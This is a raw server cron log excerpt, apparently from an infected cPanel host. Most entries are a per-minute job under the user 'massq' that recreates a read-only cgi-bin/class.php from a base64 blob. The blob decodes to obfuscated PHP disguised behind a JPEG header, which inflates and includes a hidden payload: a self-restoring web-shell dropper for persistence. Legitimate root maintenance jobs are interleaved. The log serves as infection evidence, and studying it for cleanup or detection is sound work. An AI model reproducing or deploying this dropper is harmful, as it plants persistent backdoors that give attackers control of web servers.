Nov 10 14:35:01 server CROND[18673]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 14:35:01 server CROND[18672]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 10 14:35:01 server CROND[18671]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 14:36:01 server CROND[19595]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 14:37:01 server CROND[20390]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 14:38:01 server CROND[21220]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 14:39:01 server CROND[22023]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 10 14:39:01 server CROND[22024]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 14:40:01 server CROND[22851]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 14:40:01 server CROND[22849]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 14:40:01 server CROND[22850]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 14:40:01 server CROND[22852]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 14:41:01 server CROND[23691]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 14:42:01 server CROND[24615]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 10 14:42:01 server CROND[24616]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 14:43:01 server CROND[25364]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 14:44:01 server CROND[26184]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 14:45:01 server CROND[27000]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 14:45:01 server CROND[27002]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 14:45:01 server CROND[27003]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 14:46:01 server CROND[27859]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 14:47:01 server CROND[28731]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
